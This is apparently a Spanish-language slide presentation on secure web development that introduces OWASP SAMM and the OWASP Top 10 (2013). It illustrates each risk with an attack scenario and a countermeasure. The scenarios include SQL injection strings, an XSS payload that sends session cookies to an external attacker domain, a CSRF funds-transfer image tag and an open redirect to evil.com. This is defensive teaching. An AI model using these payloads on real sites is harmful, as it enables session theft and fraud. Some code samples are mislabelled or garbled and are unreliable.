Samm owasp

Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP)

Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}

Introducción | Contexto



Antecedente:
Top ATTack Web [2012]



Vulnerabilidades
[porcentaje de aplicaciones afectadas]



Vulnerabilidades [Dispositivos Móviles (App´s)]


Que? | SAMM | Contexto

El modelo de madurez para el aseguramiento de software (SAMM
por sus siglas en inglés Software Assurance Maturity Model) es un
marco de trabajo abierto para ayudar a formular e implementar una
estrategia de seguridad para Software.
Beneficios:
• Evaluar las prácticas de seguridad en Software existentes en la
empresa - organización
• Construir un programa de seguridad en Software balanceado en
iteraciones bien definidas
• Demostrar mejoras concretas en el programa de aseguramiento calidad de Software
• Definir y medir las actividades relacionadas con seguridad en la
organización


www.owasp.org

SAMM | Descripción | Framework


SAMM | Descripción
Niveles de Madurez
Cada una de las prácticas de seguridad tiene
tres niveles de madurez bien definidos y un
nivel inicial (cero) implícito:
Estrategia y métricas - Política y cumplimiento - Educación y orientación [SM-PC-EG]

Evaluación de amenaza - Requisitos de seguridad - Arquitectura de seguridad [TA-SR-SA]

Revisión de diseño - Revisión de código - Pruebas de seguridad [DR-CR-ST]

• Punto de inicio implícito, las actividades
en la practica que no se han realizado
• Entendimiento inicial y provisión ad-hoc
de la práctica de seguridad
• Incremento en la eficiencia y/o
efectividad de la práctica de seguridad
• Dominio amplio de la práctica de
seguridad

[Practica de seguridad + Objetivos +
Actividades + Nivel de madurez (1,2,3)]

Administración de vulnerabilidades - Fortalecimiento del ambiente - Habilitación operativa [VW-EH-OE]

SAMM | Framework WorkFlow


Como? | OWASP | Contexto
OWASP Es un Proyecto abierto de seguridad para implementar en el desarrollo de aplicaciones web (acrónimo en
inglés Open Web Application Security Project), formada por empresas, organizaciones educativas y particulares de
todo el mundo.
- Comunidad de seguridad informática que trabaja para crear artículos, metodologías,
documentación, herramientas y tecnologías, las cuales pueden ser usadas gratuitamente.
www.owasp.org


OWASP | Contexto
Tipos de Vulnerabilidades |












Top 10 Norma OWASP 2013

Inyección de código [Sql Injection]
Pérdida de Autenticación y Gestión de Sesiones [Broken Authentication and Session Management]
Secuencia de Comandos en Sitios Cruzados [Cross-Site Scripting (XSS)]
Referencia Directa Insegura a Objetos [Insecure Direct Object References]
Configuración Defectuosa de Seguridad [Security Misconfiguration]
Exposición de datos Sensibles [Sensitive Data Exposure]
Funcionalidad Limitada para Niveles de Control de Acceso [Missing Function Level Access Control]
Falsificación de Peticiones en Sitios Cruzados [Cross-Site Request Forgery (CSRF)]
Uso de Componentes vulnerables [Using Known Vulnerable Components]
Redirecciones y reenvíos no validados [Unvalidated Redirects and Forwards]


OWASP | Inyección de código [Sql Injection]
• Escenario #1: Aplicación que realiza una consulta [SQL]:
String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";
• Escenario #2: Aplicación similar a la anterior, en esta pasa parámetros hacia la consulta sobre la
url: Query HQLQuery = session.createQuery(“FROM accounts WHERE custID='“ +
equest.getParameter("id") + "'");
Al momento de modificar la variable ‘id’ los cuales son parámetros que están en la url que
muestra el browser: ' or '1'='1.
Por ejemplo: http://midominio.com/app/accountView?id=' or '1'='1
Este cambio puede afectar a la consulta o algún procedimiento almacenado que tenga la
lógica del negocio a nivel de base de datos, alterando la información almacenada


OWASP | Inyección de código [Sql Injection]
API de seguridad [“white list”] que valide los siguientes caracteres
' or "
Caracteres – Indicadores String
-- or #
Comentarios tipo single-line
/*…*/
Comentarios tipo multiple-line
+
Conector adicional (por espacio en la url)
||
Conector tipo (double pipe)
%
Atributo de indicador - wildcard
?Param1=foo&Param2=bar Parámetros en la url
PRINT
Comando Transaccional (non)
@variable
Variable Local
@@variable
Variable Global
waitfor delay '0:0:10'
Opciones de Time-Delay


OWASP | Pérdida de Autenticación y Gestión de Sesiones [Broken Authentication and Session Management]

Escenario: Al momento de hacer reservaciones en una Aerolínea aplicando [URL rewriting], en el manejo de las
sesiones [ID´s] en la url:
http://midominio.com/sale/saleitems;jsessionid=2P0OC2JSNDLPSKHCJUN2JV?destino=Hawaii
El usuario autenticado del sitio quiere dejar que sus amigos estén enterados acerca de la venta del boleto en el
portal en línea, el cual lo envía por e-mail en el enlace anterior sin saber que también está regalando su ID de
sesión [Marcado con amarillo]., y probablemente estén referenciados datos de su tarjeta de crédito.

Nota: para que la validación de las contraseñas definidas dentro del sistema [Registro de usuarios]
este correcta tomar en cuenta los caracteres [incluyendo mayúsculas, minúsculas, números y otros
signos especiales, como +, -, ;, #, $, %, &, (, ), /, @, _]


OWASP | Secuencia de Comandos en Sitios Cruzados [Cross-Site Scripting (XSS)]
Escenario: Escenario de ataque La aplicación utiliza datos no confiables en la construcción del siguiente código HTML sin
validación en las sentencias de “escape”

(String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'>";
Al momento de modificar los parámetros de ‘CC’ en el browser puede dejar pasar parámetros que construyan otro sub
sitio web con información apócrifa
'><script>document.location= 'http://www.dominioexternoparaAtacar.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'.
Permite que el atacante secuestre la sesión de usuario así como también su identidad web.


OWASP | Secuencia de Comandos en Sitios Cruzados [Cross-Site Scripting (XSS)]
Para evitar esta eventualidad es necesario la separación de los datos no confiables de contenido activo en el navegador.
Validar las variables de [escape] correctamente en el contexto HTML (cuerpo, atributo, JavaScript, CSS, o URL), como lo
muestra la siguiente tabla:
Hay que tomar en cuenta la validación de entrada de los datos [white list], en la cual se validan caracteres especiales que no
permitan la inserción de código malicioso o información irrelevante para el sistema, validar la longitud, el formato y las reglas
de negocio de los datos antes de aceptar la entrada.
Tipo de dato
String

Contexto
HTML Body
Atributos HTML

Ejemplo de código
<span> Datos no confiables </span>
<input type="text" name="fname" value="Datos no confiables">

String

Parametros tipo GET

<a href="/site/search?value= Datos no confiables ">click</a>

String
String

URL , SRC o HREF atributos no
confiables
Validaciones CSS

<a href=" Datos no confiables ">click</a>
<iframe src=" Datos no confiables " />
<div style="width: Datos no confiables;">Selección</div>

String

Variables JavaScript

HTML

HTML Body
DOM XSS

<script>var currentValue=' Datos no confiables ';</script>
<script>algunaFunction(' Datos no confiables ');</script>
<div>HTML no confiable</div>
<script>document.write("Datos no confiables INPUT: " +
document.location.hash);<script/>

String

String


OWASP | Referencia Directa Insegura a Objetos [Insecure Direct Object References]

La aplicación utiliza datos no verificados en una llamada de [SQL] que accede a la información:
String query = "SELECT * FROM accts WHERE account =?"; PreparedStatement pstmt =
connection.prepareStatement(query , … ); pstmt.setString( 1, request.getParameter("acct")); ResultSet results =
pstmt.executeQuery( );
Al momento que se modifica el parámetro ‘acct’ que envía por el browser realiza el llamado al objeto no validado y
ejecuta la eventualidad.
http://dominioEjemplo.com/app/accountInfo?acct=notmyacct


OWASP | Configuración Defectuosa de Seguridad [Security Misconfiguration]

Escenario # 1: El listado de directorios no está deshabilitado en el servidor de aplicaciones. El atacante descubre
que simplemente puede listar directorios para encontrar cualquier archivo. El atacante encuentra y descarga
todas las clases Java compiladas, realiza el método de “ingeniería inversa” para obtener todo el código
personalizado.

Escenario # 2: El servidor de aplicaciones de producción incluye proyectos de ejemplo que no se eliminan,
dichas aplicaciones - proyectos tienen fallos de seguridad, los cuales el atacante pueden utilizar para
comprometer la estabilidad y degradar el servicio o colapsar la funcionalidad.


OWASP | Configuración Defectuosa de Seguridad [Security Misconfiguration]
El siguiente seudocódigo muestra una validación simple para atrapar eventualidades y controlar la
información que se le presenta al usuario final.
.NET
try {
System.out.println(" Argumento ");
out = new PrintWriter(new
FileWriter("ArchivodeSalida.txt"));
……
} catch (Exception e) {
System.err.println("Ocurrió un error!”);
} catch (IOException e) {
System.err.println("insertar excepción");
} finally {
if (out != null) {
out.close();
}

JAVA
public class ___ {
public static void Main() {
try {
StreamReader sr =
File.OpenText("ArchivodeSalida.txt.txt");
Console.WriteLine("Reading line {0}",
sr.ReadLine());
}
catch(Exception e) {
Console.WriteLine("Ocurrió un error”);
logerror(“Tipo de error: “, e);
}
}
}

}


OWASP | Exposición de datos Sensibles [Sensitive Data Exposure]

Escenario # 1: Una aplicación encripta el número de tarjeta de crédito en una base de datos mediante el
cifrado automática, sin embargo, esto significa que también descifra los datos de forma automática cuando
se recuperan, lo que permite un fallo de inyección SQL para recuperar los números de tarjetas de crédito en
parámetros de texto enviados por formularios no validados. El sistema debería haber cifrado el número de
tarjeta de crédito a través de una clave pública, y sólo permite las aplicaciones de back-end a descifrar con
la clave privada.
Escenario # 2: Un sitio simplemente no utiliza SSL para todas las páginas autenticadas. El atacante sólo
supervisa el tráfico de red (como una red inalámbrica abierta), y roba por medio de cookie´s de sesión del
usuario. Seguidamente, crea nuevamente [replays (sobre escribir afectando el flujo de la información)] esta
cookie y secuestra la sesión del usuario, el acceso a los datos privados de los usuarios.
Nota: Tomar en cuenta los algoritmos de criptografía para contraseñas - Password´s
[scrypt, bcrypt, PBKDF2 (Password-Based Key Derivation Function 2) asi como
también SSL].


OWASP | Funcionalidad Limitada para Niveles de Control de Acceso [Missing Function Level Access Control]
Escenario # 1: El atacante simplemente explora las URL de destino [Crawler – Audit (puede ser un software)].
Y detecta que necesitan autenticación, también se requieren derechos de administrador para acceder a la
página "admin_getappInfo",
http://midominio.com/app/getappInfo http://midominio.com/app/admin_getappInfo,
Si un usuario no autenticado [dentro de la validación de las funciones que comprenden el flujo del proyecto
(cuentas de administración o privilegios de usuarios normales)] puede acceder a cualquiera de las páginas,
se declara la vulnerabilidad y el atacantes puede ver la información.
Escenario # 2: Una página web proporciona un parámetro de "acción" para especificar la función que se
invoca, y diferentes acciones requieren diferentes roles. Si estas funciones no se cumplen, eso es un defecto.


OWASP | Funcionalidad Limitada para Niveles de Control de Acceso [Missing Function Level Access Control]

 Determinar al nivel de interfaz de navegación funciones no autorizadas.
 Depurar dentro del proyecto (aplicación) funciones que no estén en uso.
 Comprobar si algunas funciones necesitan autenticación por parte del servidor de
aplicaciones o del cliente (usuario final).
 Identificara parámetros de [Proxy], que impliquen validaciones dentro de las funciones para
el control de acceso.
 Identificar sitio de confianza o restringidos para determinar el comportamiento de las
funciones en el control de acceso.
 Identificar patrones de autorización dentro de las funciones que comprenden el flujo de
trabajo en el proyecto.


OWASP | Falsificación de Peticiones en Sitios Cruzados [Cross-Site Request Forgery (CSRF)]
Escenario: La aplicación permite al usuario enviar una solicitud cambiante de estado que no incluye nada
encriptado. Por ejemplo: http://midominio.com/app/transferFunds?amount=1500 y destinationAccount =
4673243243 Por lo tanto, el atacante construye una solicitud para que se transfiera el dinero de la cuenta de
la víctima a la cuenta del atacante y, después incorpore este ataque en una solicitud dentro del llamado de la
imagen o de un iframe, almacena en varios sitios bajo el control del atacante:
<img src="http://midominio.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#"
width="0" height="0" />
Si la víctima accede a cualquiera de los sitios del atacante, mientras que ya este autenticado para el sitio
midominio.com, estas solicitudes forzadas incluirán automáticamente información de la sesión del usuario,
autorizando la solicitud del atacante y permitiendo infringir en el acceso de los datos generando la
eventualidad.


OWASP | Falsificación de Peticiones en Sitios Cruzados [Cross-Site Request Forgery (CSRF)]

Hay que verificar los vínculos y formas que carecen de
un “token”, así como también forzar a que el usuario final
demuestre que es humano y no un robot de ataque a
este concepto se les llama [CAPTCHA - Completely
Automated Public Turing test to tell Computers and Humans
Apart (Prueba de Turing pública y automática para

diferenciar máquinas y humanos)]

http://www.google.com/recaptcha


OWASP | Uso de Componentes vulnerables [Using Known Vulnerable Components]

Escenario: Ejecución de componentes públicos en la web sin soporte y control de versiones para identificar
riesgos – eventualidades en tiempo d ejecución, alta dependencia de [Plug-in´s], dentro del entorno para el
usuario final por ejemplo [Apache CXF autenticación Bypass - Por no proporcionar un testigo de identidad, los
atacantes podrían invocar cualquier servicio web con el permiso completo. (Apache CXF es un marco de
servicios, que no debe confundirse con el Apache Application Server.)].

Para reducir el punto anterior es pertinente llevar un registro [Software control de versiones], que permita Administrar en
tiempo de ejecución los componente utilizados en el proyecto, para determinar la vigencia de uso.,

Evitar usar componentes que no sean de autoría propia o descargados de la web [que no tengan soporte a eventualidades
y actualización de versiones, licenciamiento o dependencias de Plug-Ins], dentro del código realizar un control de versiones
referente a un mensaje de correo para detectar eventualidades en el flujo del sistema en tiempo de ejecución


OWASP | Redirecciones y reenvíos no validados [Unvalidated Redirects and Forwards]
Escenario # 1: La aplicación tiene una página llamada "redirect.jsp", que tiene un solo parámetro denominado
"url", que redirige a los usuarios a un sitio malicioso que realiza el [phishing – malware].
http://www.midominio.com/redirect.jsp?url=evil.com
Escenario # 2: La aplicación utiliza un [Forward] para redirigir peticiones entre diferentes partes del sitio,
algunas páginas utilizan un parámetro para indicar que el usuario debe ser enviada si una transacción tiene
éxito. En este caso, puede ser que envía funcionalidades que permitan el más uso de la aplicación en tiempo
de ejecución o denegar servicios no autorizados.
http://www.midominio.com/boring.jsp?fwd=admin.jsp


OWASP | Redirecciones y reenvíos no validados [Unvalidated Redirects and Forwards]

Una buena práctica es identificar si en el código del proyecto existe redirecciones a otros servicios – servidores,
validar el manejo de expresiones controlada por una bitácora para controlar la (redirecciones - reenvió), controlar
los errores http de tipo (códigos 300-307), no implicar parámetros a la referencias de (reenvíos) con la finalidad
de controlar los parámetros de acción, usar EASAPI´s para redirecciones seguras [ejemplo sendRedirect ()],
evitando el [phishing (suplantación de identidad)]


Tema | Subtema


Samm owasp

Más contenido relacionado

La actualidad más candente (20)

Destacado (20)

Similar a Samm owasp (20)

Más de Software Guru (20)

Último (20)

Samm owasp